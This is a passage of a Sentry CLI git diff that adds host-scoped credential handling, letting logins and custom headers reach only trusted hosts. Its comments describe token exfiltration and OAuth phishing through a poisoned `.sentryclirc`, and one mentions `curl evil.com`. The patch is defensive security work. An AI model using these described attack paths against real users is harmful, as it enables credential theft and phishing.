\`sentry.acme.com\`) with \`normalizeOrigin\` (strict URL parse → canonical \`scheme://host\[:port]\`). Used where user-supplied strings may be bare hostnames: \`applyLoginUrl\` (env fallback), \`captureEnvTokenHost::readEnvHost\`. \`normalizeOrigin\` keeps its strict contract — it does NOT auto-prefix — so \`parseLoginUrl\` can distinguish empty \`--url\` from invalid-URL for actionable error messages. \`response-cache.ts\` has an unrelated \`normalizeUrl(method, url)\` — name collision, different module. -### Preference + +* **PR review workflow: Cursor Bugbot + Seer + human cycle**: PR review workflow (Cursor Bugbot + Seer + human): \`gh pr checks \ --json state,link\` + \`gh run view --log-failed\` for CI. Unresolved threads via \`gh api graphql\` reviewThreads query filtering \`isResolved:false\`+\`isMinimized:false\`. After fixes: reply via \`gh api repos/.../pulls/comments/\/replies\` then resolve via \`resolveReviewThread\` mutation. Bots auto-resolve on detected fix. Statuses: \`UNSTABLE\`=non-blocking bots running, \`BLOCKED\`=required CI pending, \`CLEAN\`+\`MERGEABLE\`=ready. Repo is squash-merge only. Expect 4-6 rounds on subtle regex/Unicode PRs. Bugbot findings usually real but occasionally assume PCRE/Python semantics — verify with reproduction. Dispatch self-review subagent between rounds. After PR ships, run a slop-removal pass: AI-authored diffs accumulate verbose JSDoc, orphaned blocks from refactors, and process-gossip comments that should be stripped before merge. - -* **PR workflow: address review comments, resolve threads, wait for CI**: PR workflow: (1) wait for CI; (2) check unresolved review comments via \`gh api repos/.../pulls/N/comments\`; (3) fix in follow-up commits (not amends); (4) reply explaining fix; (5) resolve thread via \`gh api graphql resolveReviewThread\`; (6) push + re-check CI. BugBot/Seer/Warden/Cursor bots post new comments per-commit and frequently catch real bugs in fix commits themselves — always re-check after each push. \*\*Dispatch a subagent review before declaring merge-ready\*\* — self-assessment is unreliable; has caught real backwards-compat and error-path bugs. After applying review fixes, plan for ANOTHER critical review pass on the HEAD commit. Branches: \`fix/\*\` or \`feat/\*\`. Style: \`Array.from(set)\` over spreads; 'allowlist' not 'whitelist'; \`arr.at(-1)\` over index math. Reviewer questions may be inquiries — confirm intent before changing. Multi-fix PRs: split into independent PRs off \`main\`. + +* **Test helpers for host-scoping security tests**: \`test/helpers.ts\` provides shared utilities for security tests: - \`useEnvSandbox(keys)\` — registers beforeEach/afterEach to save+clear+restore env keys. Replaces ~10 lines of boilerplate per file. Do NOT use in tests that depend on preload's \`SENTRY\_AUTH\_TOKEN\` being present (e.g. \`sentryclirc-url-poison.test.ts\` calls \`getActiveTokenHost()\` which needs a token). - \`resetHostScopingState()\` — bundles \`resetEnvTokenHostForTesting\` + \`resetLoginTrustAnchorForTesting\` + \`resetTrustedRegionUrlsForTesting\`. These three always reset together. - \`mintSntrysToken(payload)\` — produces \`sntrys\_\\_\\` test tokens matching server format (rstrip \`=\`). - \`extractFetchUrl(input: RequestInfo | URL): string\` — for fetch-mock assertions. Use these instead of copying boilerplate. \`useTestConfigDir\` \[\[019dc573-d853-735a-aeb5-68ff49afe037]] handles config-dir isolation separately. diff --git a/plugins/sentry-cli/skills/sentry-cli/references/auth.md b/plugins/sentry-cli/skills/sentry-cli/references/auth.md index a20e5cadf..976e1418b 100644 --- a/plugins/sentry-cli/skills/sentry-cli/references/auth.md +++ b/plugins/sentry-cli/skills/sentry-cli/references/auth.md @@ -19,6 +19,7 @@ Authenticate with Sentry - `--token - Authenticate using an API token instead of OAuth` - `--timeout - Timeout for OAuth flow in seconds (default: 900) - (default: "900")` - `--force - Re-authenticate without prompting` +- `--url - Sentry instance URL to authenticate against (e.g. https://sentry.example.com). Required for self-hosted; defaults to SaaS (https://sentry.io).` **Examples:** diff --git a/src/cli.ts b/src/cli.ts index 9524a29d9..1e6bcd7b9 100644 --- a/src/cli.ts +++ b/src/cli.ts @@ -11,15 +11,71 @@ */ import { getEnv } from "./lib/env.js"; +import { captureEnvTokenHost } from "./lib/env-token-host.js"; +import { CliError } from "./lib/errors.js"; import { applySentryCliRcEnvShim } from "./lib/sentryclirc.js"; +/** + * Extract positional argv tokens, skipping `--flag[=value]` and short `-f` + * tokens. Conservative — bare `--flag` (no `=`) doesn't consume the next + * token, which keeps it as a positional. That's safe for our matching since + * `auth login`/`auth logout` don't take a flag-value that looks like `auth`. + */ +/** @internal exported for testing */ +export function extractPositionals(args: readonly string[]): string[] { + const positionals: string[] = []; + let sawDoubleDash = false; + for (const token of args) { + if (sawDoubleDash) { + positionals.push(token); + continue; + } + if (token === "--") { + sawDoubleDash = true; + continue; + } + if (token.startsWith("-") && token.length > 1) { + continue; + } + positionals.push(token); + } + return positionals; +} + +/** + * Detect `auth login` / `auth logout` so the `.sentryclirc` URL-trust check + * can be bypassed. These are the only commands that establish or tear down + * host trust, and they must run even when a repo-local `.sentryclirc` + * mismatches the current token (chicken-and-egg otherwise). + * + * Robust against global flags via {@link extractPositionals} so e.g. + * `sentry --foo auth login` still matches. + */ +/** @internal exported for testing */ +export function isTrustChangingCommand(args: readonly string[]): boolean { + const positionals = extractPositionals(args); + const [cmd, sub] = positionals; + if (cmd !== "auth") { + return false; + } + return sub === "login" || sub === "logout"; +} + /** * Preload project context: walk up from `cwd` once, finding both the * project root (for DSN detection) and `.sentryclirc` config (for * org/project defaults and env shim). Caches both results so later calls * to `findProjectRoot` and `loadSentryCliRc` are cache hits. */ -async function preloadProjectContext(cwd: string): Promise { +async function preloadProjectContext( + cwd: string, + args: readonly string[] +): Promise { + // Snapshot env-token host BEFORE anything mutates env.SENTRY_HOST/URL + // (the .sentryclirc shim or the default-URL fallback below). Pins the + // env-token's trust scope to the user's shell, not a repo-local file. + captureEnvTokenHost(); + // Dynamic import keeps the heavy DSN/DB modules out of the completion fast-path const [{ findProjectRoot }, { setCachedProjectRoot }] = await Promise.all([ import("./lib/dsn/project-root.js"), @@ -32,9 +88,13 @@ async function preloadProjectContext(cwd: string): Promise { reason: result.reason, }); - // Apply .sentryclirc env shim (token, URL) — sentryclirc cache was - // populated as a side effect of findProjectRoot's walk - await applySentryCliRcEnvShim(cwd); + // Apply .sentryclirc env shim (token, URL) — cache was populated as a + // side effect of findProjectRoot's walk. Bypass the URL trust check for + // auth login/logout so onboarding from a repo with a different rc URL + // isn't chicken-and-egg. + await applySentryCliRcEnvShim(cwd, { + skipUrlTrustCheck: isTrustChangingCommand(args), + }); // Apply persistent URL default (lower priority than env vars and .sentryclirc). // Same mechanism as .sentryclirc — writes to env.SENTRY_URL so all downstream @@ -467,11 +527,18 @@ export async function startCli(): Promise { // Walk up from CWD once to find project root AND .sentryclirc config. // Caches both so later findProjectRoot / loadSentryCliRc calls are hits. - // Non-fatal — the CLI can still work via env vars and DSN detection. + // Most failures here are non-fatal (unreadable rc file, missing project + // markers), but `CliError` from the rc shim's host-scoping check is an + // actionable rejection that must surface to the user. try { - await preloadProjectContext(process.cwd()); - } catch { - // Gracefully degrade: project context is optional for CLI operation. + await preloadProjectContext(process.cwd(), args); + } catch (err) { + if (err instanceof CliError) { + process.stderr.write(`${err.format()}\n`); + process.exitCode = err.exitCode; + return; + } + // Gracefully degrade: project context is optional. } return runCli(args).catch((err) => { diff --git a/src/commands/auth/login.ts b/src/commands/auth/login.ts index 7f9d6c087..7c3f874fa 100644 --- a/src/commands/auth/login.ts +++ b/src/commands/auth/login.ts @@ -6,6 +6,7 @@ import { listOrganizationsUncached, } from "../../lib/api-client.js"; import { buildCommand, numberParser } from "../../lib/command.js"; +import { DEFAULT_SENTRY_URL, normalizeUrl } from "../../lib/constants.js"; import { clearAuth, getActiveEnvVarName, @@ -14,9 +15,15 @@ import { isEnvTokenActive, setAuthToken, } from "../../lib/db/auth.js"; +import { setDefaultUrl } from "../../lib/db/defaults.js"; import { getDbPath } from "../../lib/db/index.js"; import { getUserInfo, setUserInfo } from "../../lib/db/user.js"; -import { AuthError } from "../../lib/errors.js"; +import { getEnv } from "../../lib/env.js"; +import { + AuthError, + HostScopeError, + ValidationError, +} from "../../lib/errors.js"; import { success } from "../../lib/formatters/colors.js"; import { formatDuration, @@ -30,6 +37,15 @@ import { } from "../../lib/interactive-login.js"; import { logger } from "../../lib/logger.js"; import { clearResponseCache } from "../../lib/response-cache.js"; +import { + isSaaSTrustOrigin, + normalizeUserInputToOrigin, +} from "../../lib/sentry-urls.js"; +import { + isLoginTrustAnchorFor, + normalizeOrigin, + registerLoginTrustAnchor, +} from "../../lib/token-host.js"; const log = logger.withTag("auth.login"); @@ -56,8 +72,118 @@ type LoginFlags = { readonly token?: string; readonly timeout: number; readonly force: boolean; + readonly url?: string; }; +/** + * Normalize and validate the `--url` flag value. Accepts bare hostnames + * and full URLs; returns the normalized origin. + */ +/** @internal exported for testing */ +export function parseLoginUrl(raw: string): string { + const prefixed = normalizeUrl(raw); + if (!prefixed) { + throw new ValidationError("--url cannot be empty", "url"); + } + const origin = normalizeOrigin(prefixed); + if (!origin) { + throw new ValidationError(`--url is not a valid URL: ${raw}`, "url"); + } + return origin; +} + +/** + * Refuse `auth login` against a host that came from an untrusted channel + * (rc-shim bypass wrote env.SENTRY_URL with no matching trust anchor). + * + * Two distinct attack shapes are blocked here: + * + * 1. **Token leak (`auth login --token X`)**: without the refusal, login + * validation POSTs the user's existing API token to the attacker's + * host — direct credential exfiltration. + * + * 2. **Phishing (`auth login` OAuth device flow)**: the CLI directs the + * user's browser to `/oauth/authorize/...`. A + * homograph / look-alike domain plus a Sentry-cloned login page can + * capture the user's SSO credentials (Google, GitHub, etc.) — much + * worse than a single token leak because it compromises every + * service the SSO covers. `.sentryclirc` is a stealthy phishing + * vector because it slips through code review more easily than a + * `curl evil.com` would. + * + * `applyLoginUrl` only registers a trust anchor when the host comes from + * a trusted source (`--url` flag or boot-time env snapshot), so "no + * matching anchor" is the load-bearing signal that the host arrived via + * an untrusted channel. + */ +function refuseLoginToUntrustedHost( + flags: LoginFlags, + effectiveHost: string +): void { + if ( + flags.url || + isSaaSTrustOrigin(effectiveHost) || + isLoginTrustAnchorFor(effectiveHost) + ) { + return; + } + const tokenHint = flags.token ? " --token " : ""; + throw new HostScopeError( + `Refusing to log in against ${effectiveHost} without explicit --url.\n` + + "Pass the host explicitly to confirm you trust it:\n" + + ` sentry auth login --url ${effectiveHost}${tokenHint}` + ); +} + +/** + * Persist a non-SaaS `--url` host as the stored default so subsequent CLI + * invocations route correctly without requiring `SENTRY_HOST`. Only writes + * when `--url` was explicitly passed; env/rc-sourced values persist + * through those channels. Non-fatal on DB failure. + */ +function persistLoginUrlAsDefault( + flagUrl: string | undefined, + effectiveHost: string +): void { + if (!flagUrl || isSaaSTrustOrigin(effectiveHost)) { + return; + } + try { + setDefaultUrl(effectiveHost); + } catch { + log.debug( + `Could not persist default URL to DB; host is recorded on the stored token. Set SENTRY_HOST or run 'sentry cli defaults url ${effectiveHost}' if subsequent commands route incorrectly.` + ); + } +} + +/** + * When `--url` is passed, set `env.SENTRY_HOST`/`env.SENTRY_URL` so the + * device flow and token refresh hit the requested host. Returns the + * effective host so callers can record it with {@link setAuthToken}. + * + * Registers a login trust anchor (consumed by {@link applyCustomHeaders} + * for IAP onboarding) only when `--url` is explicitly passed — the user's + * argv is the only trusted source for this. When `--url` is absent, the + * effective host comes from current env (which may have been written by the + * `.sentryclirc` shim) and is NOT registered as a trust anchor. + */ +export function applyLoginUrl(url: string | undefined): string { + const env = getEnv(); + + if (url) { + env.SENTRY_HOST = url; + env.SENTRY_URL = url; + registerLoginTrustAnchor(url); + return url; + } + + return ( + normalizeUserInputToOrigin(env.SENTRY_HOST || env.SENTRY_URL) ?? + DEFAULT_SENTRY_URL + ); +} + /** * Handle the case where the user is already authenticated. * @@ -118,7 +244,11 @@ export const loginCommand = buildCommand({ fullDescription: "Log in to Sentry using OAuth or an API token.\n\n" + "The OAuth flow uses a device code - you'll be given a code to enter at a URL.\n" + - "Alternatively, use --token to authenticate with an existing API token.", + "Alternatively, use --token to authenticate with an existing API token.\n\n" + + "For self-hosted Sentry, pass --url to authenticate against that\n" + + "instance. This is the ONLY way to trust a new Sentry host — URL\n" + + "arguments and config files are refused when they don't match the\n" + + "currently-authenticated host.", }, parameters: { flags: { @@ -140,10 +270,24 @@ export const loginCommand = buildCommand({ brief: "Re-authenticate without prompting", default: false, }, + url: { + kind: "parsed", + parse: parseLoginUrl, + brief: + "Sentry instance URL to authenticate against (e.g. https://sentry.example.com). " + + "Required for self-hosted; defaults to SaaS (https://sentry.io).", + optional: true, + }, }, }, output: { human: formatLoginResult }, async *func(this: SentryContext, flags: LoginFlags) { + // Apply --url first so the device flow / token refresh target the + // requested instance. Default URL persistence is deferred until login + // succeeds — see persistLoginUrlAsDefault calls below. + const effectiveHost = applyLoginUrl(flags.url); + refuseLoginToUntrustedHost(flags, effectiveHost); + // Check if already authenticated and handle re-authentication if (isAuthenticated()) { const shouldProceed = await handleExistingAuth(flags.force); @@ -161,8 +305,10 @@ export const loginCommand = buildCommand({ // Token-based authentication if (flags.token) { - // Save token first, then validate by fetching user regions - await setAuthToken(flags.token); + // Save token first (with host scope), then validate by fetching user regions + await setAuthToken(flags.token, undefined, undefined, { + host: effectiveHost, + }); // Validate token by fetching user regions try { @@ -176,6 +322,9 @@ export const loginCommand = buildCommand({ ); } + // Login succeeded — persist default URL for subsequent invocations. + persistLoginUrlAsDefault(flags.url, effectiveHost); + // Fetch and cache user info via /auth/ (works with all token types). // A transient failure here must not block login — the token is already valid. const result: LoginResult = { @@ -201,12 +350,14 @@ export const loginCommand = buildCommand({ return yield new CommandOutput(result); } - // OAuth device flow + // OAuth device flow (host scope recorded via completeOAuthFlow → setAuthToken) const result = await runInteractiveLogin({ timeout: flags.timeout * 1000, }); if (result) { + // Login succeeded — persist default URL for subsequent invocations. + persistLoginUrlAsDefault(flags.url, effectiveHost); // Warm the org + region cache so the first real command is fast. // Fire-and-forget — login already succeeded, caching is best-effort. warmOrgCache(); diff --git a/src/lib/api/issues.ts b/src/lib/api/issues.ts index 950139ed2..679ee4370 100644 --- a/src/lib/api/issues.ts +++ b/src/lib/api/issues.ts @@ -669,7 +669,9 @@ export async function getSharedIssue( ): Promise<{ groupID: string }> { const url = `${baseUrl}/api/0/shared/issues/${encodeURIComponent(shareId)}/`; const headers = new Headers({ "Content-Type": "application/json" }); - applyCustomHeaders(headers); + // URL-scoped: headers only attach when `url`'s origin matches the trusted + // host, so IAP tokens etc. can't leak to an attacker-controlled share URL. + applyCustomHeaders(headers, url); const response = await fetch(url, { headers }); if (!response.ok) { diff --git a/src/lib/api/organizations.ts b/src/lib/api/organizations.ts index 778cc9d7e..4e480ab41 100644 --- a/src/lib/api/organizations.ts +++ b/src/lib/api/organizations.ts @@ -157,7 +157,9 @@ export async function listOrganizations(): Promise { export async function listOrganizationsUncached(): Promise< SentryOrganization[] > { - const { setOrgRegions } = await import("../db/regions.js"); + const { registerTrustedRegionUrls, setOrgRegions } = await import( + "../db/regions.js" + ); // Self-hosted instances may not have the regions endpoint (404) const regionsResult = await withAuthGuard(() => getUserRegions()); @@ -179,6 +181,11 @@ export async function listOrganizationsUncached(): Promise< return orgs; } + // Extend the trust class BEFORE fan-out so the per-region requests + // pass the host-scoping guard. setOrgRegions later persists these + // (and re-registers them, idempotent) but only after fan-out completes. + registerTrustedRegionUrls(regions.map((r) => r.url)); + const settled = await Promise.allSettled( regions.map(async (region) => { const orgs = await listOrganizationsInRegion(region.url); @@ -225,6 +232,9 @@ export async function listOrganizationsUncached(): Promise< orgName: r.org.name, orgRole: (r.org as Record).orgRole as string | undefined, })); + // setOrgRegions persists AND extends the in-process trust class to + // include any per-org regionUrl from links (may differ from the + // /users/me/regions/ response when the SDK returns a more specific URL). setOrgRegions(regionEntries); return orgs; diff --git a/src/lib/custom-headers.ts b/src/lib/custom-headers.ts index 48c2f414d..f99ffaec1 100644 --- a/src/lib/custom-headers.ts +++ b/src/lib/custom-headers.ts @@ -27,6 +27,7 @@ import { getEnv } from "./env.js"; import { ConfigError } from "./errors.js"; import { logger } from "./logger.js"; import { isSentrySaasUrl } from "./sentry-urls.js"; +import { isRequestOriginTrustedForCustomHeaders } from "./token-host.js"; const log = logger.withTag("custom-headers"); @@ -66,6 +67,9 @@ let cachedRawSource: string | undefined; /** Whether the SaaS warning has already been logged this session. */ let saasWarningLogged = false; +/** Whether the untrusted-destination warning has already been logged. */ +let untrustedDestinationWarningLogged = false; + /** * Parse a raw custom headers string into validated name/value pairs. * @@ -195,15 +199,40 @@ export function getCustomHeaders(): readonly [string, string][] { } /** - * Apply custom headers to a `Headers` instance. + * Apply custom headers to a `Headers` instance, scoped to a request URL. + * + * Reads from the env var or SQLite defaults, validates, and sets each header, + * but ONLY when `requestUrl`'s origin matches the active token's trust class + * (or, in the no-token bootstrap window, the explicit `--url` login anchor). + * This prevents `SENTRY_CUSTOM_HEADERS` (IAP tokens, mTLS headers) from + * leaking to a host the user didn't authenticate against. * - * Reads from the env var or SQLite defaults, validates, and sets each header. - * No-op when no custom headers are configured or when targeting SaaS. + * Fails closed when no token and no login anchor are present — see + * {@link isRequestOriginTrustedForCustomHeaders}. * * @param headers - The `Headers` instance to modify in-place + * @param requestUrl - The destination URL whose origin is checked */ -export function applyCustomHeaders(headers: Headers): void { +export function applyCustomHeaders( + headers: Headers, + requestUrl: string | URL | Request +): void { const customHeaders = getCustomHeaders(); + if (customHeaders.length === 0) { + return; + } + + if (!isRequestOriginTrustedForCustomHeaders(requestUrl)) { + if (!untrustedDestinationWarningLogged) { + untrustedDestinationWarningLogged = true; + log.warn( + "Skipping custom headers for request to untrusted host. " + + "If this is legitimate, run 'sentry auth login --url ' against the intended instance." + ); + } + return; + } + for (const [name, value] of customHeaders) { headers.set(name, value); } @@ -217,4 +246,5 @@ export function _resetCustomHeadersCache(): void { cachedHeaders = undefined; cachedRawSource = undefined; saasWarningLogged = false; + untrustedDestinationWarningLogged = false; } diff --git a/src/lib/db/auth.ts b/src/lib/db/auth.ts index 0e8e9260e..b0f599661 100644 --- a/src/lib/db/auth.ts +++ b/src/lib/db/auth.ts @@ -3,10 +3,15 @@ */ import { createHash } from "node:crypto"; +import { DEFAULT_SENTRY_URL, getConfiguredSentryUrl } from "../constants.js"; import { getEnv } from "../env.js"; +import { getEnvTokenHost } from "../env-token-host.js"; +import { logger } from "../logger.js"; +import { normalizeOrigin } from "../sentry-urls.js"; import { withDbSpan } from "../telemetry.js"; import { getDatabase } from "./index.js"; import { clearAllIssueOrgCache } from "./issue-org-cache.js"; +import { clearTrustedHostState } from "./regions.js"; import { runUpsert } from "./utils.js"; /** Refresh when less than 10% of token lifetime remains */ @@ -21,8 +26,55 @@ type AuthRow = { expires_at: number | null; issued_at: number | null; updated_at: number; + /** + * Origin URL the token was issued against (e.g., `https://sentry.io` or + * `https://sentry.example.com`). NULL for rows written before schema v16; + * lazily migrated by `migrateNullHostIfPresent` on first access. + */ + host: string | null; }; +const log = logger.withTag("auth"); + +/** Read the single auth row. Returns `undefined` when no row exists. */ +function getAuthRow(): AuthRow | undefined { + const db = getDatabase(); + return db.query("SELECT * FROM auth WHERE id = 1").get() as + | AuthRow + | undefined; +} + +/** + * Lazy migration for rows created before schema v16 (NULL `host`). + * + * Uses the BOOT-TIME env snapshot (`getEnvTokenHost`), captured before the + * `.sentryclirc` shim could mutate env. Reading the current env directly + * would either default self-hosted users to SaaS (when the shim hasn't run + * yet) or migrate to a poisoned rc URL (when it has). + * + * Users whose shell env was wrong at upgrade time can recover with + * `sentry auth logout && sentry auth login`. Returns the migrated host + * (never NULL on return). + */ +function migrateNullHost(row: AuthRow): string { + const bootHost = getEnvTokenHost(); + const migratedHost = normalizeOrigin(bootHost); + const host = migratedHost ?? DEFAULT_SENTRY_URL; + try { + withDbSpan("migrateAuthHost", () => { + const db = getDatabase(); + db.query("UPDATE auth SET host = ? WHERE id = 1").run(host); + }); + log.info(`Migrated stored credentials to host-scoped model: ${host}`); + } catch { + // Non-fatal: if the migration write fails, callers still get a + // well-formed host from this function. The migration will retry + // on the next access. + } + row.host = host; + return host; +} + /** Prefix for environment variable auth sources in {@link AuthSource} */ export const ENV_SOURCE_PREFIX = "env:"; @@ -117,10 +169,7 @@ export function getAuthConfig(): AuthConfig | undefined { } const dbConfig = withDbSpan("getAuthConfig", () => { - const db = getDatabase(); - const row = db.query("SELECT * FROM auth WHERE id = 1").get() as - | AuthRow - | undefined; + const row = getAuthRow(); if (!row?.token) { return; @@ -153,6 +202,93 @@ export function getAuthConfig(): AuthConfig | undefined { return; } +/** + * Read the host the stored OAuth token is scoped to. + * + * Lazy-migrates NULL hosts (rows from before schema v16) to the currently- + * configured host on first access. Returns `undefined` when no stored token + * exists — callers should fall through to the env-token host snapshot. + * + * This function is intentionally tolerant of "no DB" errors (tests that + * bypass DB init). On DB failure, returns `undefined` and trust-scoping + * falls back to the caller's default behavior. + */ +export function getStoredAuthHost(): string | undefined { + try { + return withDbSpan("getStoredAuthHost", () => { + const row = getAuthRow(); + if (!row?.token) { + return; + } + if (row.host) { + return row.host; + } + // Lazy migration for pre-v16 rows + return migrateNullHost(row); + }); + } catch { + return; + } +} + +/** + * Check whether a usable stored token exists in the auth row. + * + * Mirrors the "usable" criteria in `getAuthConfig`: a token is usable if it + * has a bearer value AND (no expiry, OR not expired, OR expired-with-refresh). + * + * Used by {@link getActiveTokenHost} to decide whether to prefer stored + * OAuth's host over the env-token snapshot. + */ +export function hasUsableStoredToken(): boolean { + try { + return withDbSpan("hasUsableStoredToken", () => { + const row = getAuthRow(); + if (!row?.token) { + return false; + } + // Match getAuthConfig's filter: expired-no-refresh rows are unusable + if (row.expires_at && Date.now() > row.expires_at && !row.refresh_token) { + return false; + } + return true; + }); + } catch { + return false; + } +} + +/** + * Atomically check usability AND retrieve the stored host, in a single + * DB read. Used by `getActiveTokenHost` so that a concurrent + * `clearAuth()` (library mode) can't interleave between a + * `hasUsableStoredToken()` check and a `getStoredAuthHost()` read, + * producing an inconsistent "usable but undefined host" fallback. + * + * Returns `undefined` when no usable stored token exists. When present, + * returns the normalized host string (migrating pre-v16 NULL rows on + * first access, same as {@link getStoredAuthHost}). + */ +export function getUsableStoredTokenHost(): string | undefined { + try { + return withDbSpan("getUsableStoredTokenHost", () => { + const row = getAuthRow(); + if (!row?.token) { + return; + } + if (row.expires_at && Date.now() > row.expires_at && !row.refresh_token) { + return; + } + if (row.host) { + return row.host; + } + return migrateNullHost(row); + }); + } catch { + return; + } +} + /** Memoized token. Wrapper distinguishes "not cached" from "cached as undefined". */ let cachedAuthToken: { value: string | undefined } | undefined; @@ -181,10 +317,7 @@ function computeAuthToken(): string | undefined { } const dbToken = withDbSpan("getAuthToken", () => { - const db = getDatabase(); - const row = db.query("SELECT * FROM auth WHERE id = 1").get() as - | AuthRow - | undefined; + const row = getAuthRow(); if (!row?.token) { return; @@ -220,10 +353,7 @@ function getCachedAuthRow(): AuthRow | undefined { if (cachedAuthRow !== undefined) { return cachedAuthRow.value; } - const db = getDatabase(); - const row = db.query("SELECT * FROM auth WHERE id = 1").get() as - | AuthRow - | undefined; + const row = getAuthRow(); cachedAuthRow = { value: row }; return row; } @@ -233,10 +363,23 @@ export function resetAuthRowCache(): void { cachedAuthRow = undefined; } +/** + * Options for persisting a token. + * + * @property host - Origin URL the token was issued against. When omitted on + * an update (e.g., access-token refresh), the existing row's host is + * preserved. When omitted on a fresh write, defaults to the + * currently-configured host (`SENTRY_HOST`/`SENTRY_URL`) or `DEFAULT_SENTRY_URL`. + */ +export type SetAuthTokenOptions = { + host?: string; +}; + export function setAuthToken( token: string, expiresIn?: number, - newRefreshToken?: string + newRefreshToken?: string, + options?: SetAuthTokenOptions ): void { withDbSpan("setAuthToken", () => { const db = getDatabase(); @@ -244,6 +387,24 @@ export function setAuthToken( const expiresAt = expiresIn ? now + expiresIn * 1000 : null; const issuedAt = expiresIn ? now : null; + // Host resolution precedence: + // 1. Explicit `options.host` (login command, tests) + // 2. Existing row's `host` (refresh flow preserves the original scope) + // 3. Currently-configured host (getConfiguredSentryUrl) + // 4. SaaS default + // Always normalized to scheme+host[+port] via normalizeOrigin. + const existingHost = ( + db.query("SELECT host FROM auth WHERE id = 1").get() as + | { host: string | null } + | undefined + )?.host; + const rawHost = + options?.host ?? + existingHost ?? + getConfiguredSentryUrl() ?? + DEFAULT_SENTRY_URL; + const host = normalizeOrigin(rawHost) ?? DEFAULT_SENTRY_URL; + runUpsert( db, "auth", @@ -254,6 +415,7 @@ export function setAuthToken( expires_at: expiresAt, issued_at: issuedAt, updated_at: now, + host, }, ["id"] ); @@ -280,6 +442,8 @@ export async function clearAuth(): Promise { resetIdentityFingerprintCache(); resetAuthTokenCache(); resetAuthRowCache(); + // Evict in-process trust extensions tied to the now-cleared identity. + clearTrustedHostState(); // Dynamic import avoids the auth→response-cache→auth cycle. try { @@ -388,10 +552,7 @@ function hashIdentity(kind: string, secret: string): string { * when an env token is present. */ export function hasStoredAuthCredentials(): boolean { - const db = getDatabase(); - const row = db.query("SELECT * FROM auth WHERE id = 1").get() as - | AuthRow - | undefined; + const row = getAuthRow(); if (!row?.token) { return false; } diff --git a/src/lib/db/regions.ts b/src/lib/db/regions.ts index c99f57cef..2cbf376bc 100644 --- a/src/lib/db/regions.ts +++ b/src/lib/db/regions.ts @@ -10,12 +10,96 @@ * look up by `org_id = '1081365'` → get the slug). */ +import { normalizeOrigin } from "../sentry-urls.js"; import { recordCacheHit } from "../telemetry.js"; import { getDatabase } from "./index.js"; import { runUpsert } from "./utils.js"; const TABLE = "org_regions"; +/** + * Process-local trust extension: origins that were vouched for by the + * active token's issuing host (via `/users/me/regions/` responses or + * `org_regions` table entries from prior invocations). Used by the + * fetch-layer trust check in `token-host.ts` to admit requests to + * regional silos that share the token's trust class. + * + * Lazy-seeded from the persisted table on first read so that on cold + * start (with cached orgs from a previous CLI invocation) we don't + * re-fetch regions just to extend trust. + */ +const trustedRegionOrigins = new Set(); +let trustedRegionOriginsSeeded = false; + +function seedTrustedRegionOriginsIfNeeded(): void { + if (trustedRegionOriginsSeeded) { + return; + } + trustedRegionOriginsSeeded = true; + try { + const db = getDatabase(); + const rows = db + .query(`SELECT DISTINCT region_url FROM ${TABLE}`) + .all() as Pick[]; + for (const row of rows) { + const origin = normalizeOrigin(row.region_url); + if (origin) { + trustedRegionOrigins.add(origin); + } + } + } catch { + // No DB / no table yet — first-run callers will populate via + // setOrgRegion(s) or registerTrustedRegionUrls. + } +} + +/** + * Register region URLs the control silo just told us about. Used to + * extend the trust scope BEFORE region URLs are persisted (the fan-out + * step needs trust to be admitted before we have results to write). + * + * Also called automatically by {@link setOrgRegion} and + * {@link setOrgRegions} so persistent and in-process state stay in sync. + */ +export function registerTrustedRegionUrls(urls: readonly string[]): void { + for (const url of urls) { + const origin = normalizeOrigin(url); + if (origin) { + trustedRegionOrigins.add(origin); + } + } +} + +/** + * Whether `origin` was vouched for by the active token's issuing host. + * Lazy-seeds from `org_regions` on first call. + */ +export function isTrustedRegionOrigin(origin: string): boolean { + seedTrustedRegionOriginsIfNeeded(); + return trustedRegionOrigins.has(origin); +} + +/** + * Clear the in-process trust extension. Called from `clearAuth()` to + * evict region extensions tied to the now-cleared identity. + * + * Does NOT clear the login trust anchor in `token-host.ts` — that + * represents the current `auth login` command's intent and is needed + * after clearAuth runs during re-auth. + */ +export function clearTrustedHostState(): void { + trustedRegionOrigins.clear(); + // Force re-seed on next read in case the caller deletes table rows + // (clearOrgRegions) between this clear and the next access. + trustedRegionOriginsSeeded = false; +} + +/** @internal exported for testing */ +export function resetTrustedRegionUrlsForTesting(): void { + trustedRegionOrigins.clear(); + trustedRegionOriginsSeeded = false; +} + /** When true, getCachedOrganizations() returns empty (forces API fetch). */ let orgCacheDisabled = false; @@ -105,6 +189,7 @@ export function setOrgRegion(orgSlug: string, regionUrl: string): void { { org_slug: orgSlug, region_url: regionUrl, updated_at: now }, ["org_slug"] ); + registerTrustedRegionUrls([regionUrl]); } /** @@ -143,6 +228,7 @@ export function setOrgRegions(entries: OrgRegionEntry[]): void { runUpsert(db, TABLE, row, ["org_slug"]); } })(); + registerTrustedRegionUrls(entries.map((e) => e.regionUrl)); } /** @@ -152,6 +238,7 @@ export function setOrgRegions(entries: OrgRegionEntry[]): void { export function clearOrgRegions(): void { const db = getDatabase(); db.query(`DELETE FROM ${TABLE}`).run(); + clearTrustedHostState(); } /** diff --git a/src/lib/db/schema.ts b/src/lib/db/schema.ts index 353fb120b..e4ee65c97 100644 --- a/src/lib/db/schema.ts +++ b/src/lib/db/schema.ts @@ -16,7 +16,7 @@ import { getEnv } from "../env.js"; import { stringifyUnknown } from "../errors.js"; import { logger } from "../logger.js"; -export const CURRENT_SCHEMA_VERSION = 15; +export const CURRENT_SCHEMA_VERSION = 16; /** Environment variable to disable auto-repair */ const NO_AUTO_REPAIR_ENV = "SENTRY_CLI_NO_AUTO_REPAIR"; @@ -66,6 +66,11 @@ export const TABLE_SCHEMAS: Record = { notNull: true, default: "(unixepoch() * 1000)", }, + // Origin URL (scheme://host[:port]) this token was issued against. + // Enforced at the fetch layer: credentials are only attached to requests + // whose origin matches this host (with SaaS equivalence). Nullable for + // rows created before schema v16; migrated lazily in getAuthConfig. + host: { type: "TEXT", addedInVersion: 16 }, }, }, @@ -839,6 +844,15 @@ export function runMigrations(db: Database): void { db.exec(EXPECTED_TABLES.issue_org_cache as string); } + // Migration 15 -> 16: Add host column to auth table for host-scoped tokens. + // The column is NULL for existing rows; getAuthConfig lazily backfills it + // with the currently-configured host on first access after upgrade, so + // users who already have SENTRY_HOST/SENTRY_URL set at upgrade time are + // migrated cleanly to the host-scoped model. + if (currentVersion < 16) { + addColumnIfMissing(db, "auth", "host", "TEXT"); + } + if (currentVersion < CURRENT_SCHEMA_VERSION) { db.query("UPDATE schema_version SET version = ?").run( 